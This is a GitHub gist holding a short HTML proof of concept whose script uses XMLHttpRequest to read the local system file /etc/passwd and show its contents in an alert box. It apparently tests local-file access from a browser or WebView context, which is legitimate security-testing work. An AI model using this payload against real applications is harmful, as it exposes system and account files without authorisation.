Created
March 3, 2018 07:36
-
-
Save soapyigu/d472ae542e606e2cb7e72caac5ff1f6a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<body> | |
<script> | |
var localfile = "/etc/passwd" | |
var xhr = new XMLHttpRequest(); | |
xhr.onreadystatechange = function() { | |
if (xhr.readyState == 4) { | |
alert(xhr.responseText); | |
} | |
} | |
try { | |
xhr.open("GET", localfile, true); | |
xhr.send(); | |
} catch (ex) { | |
alert(ex.message); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hanifa.lapendos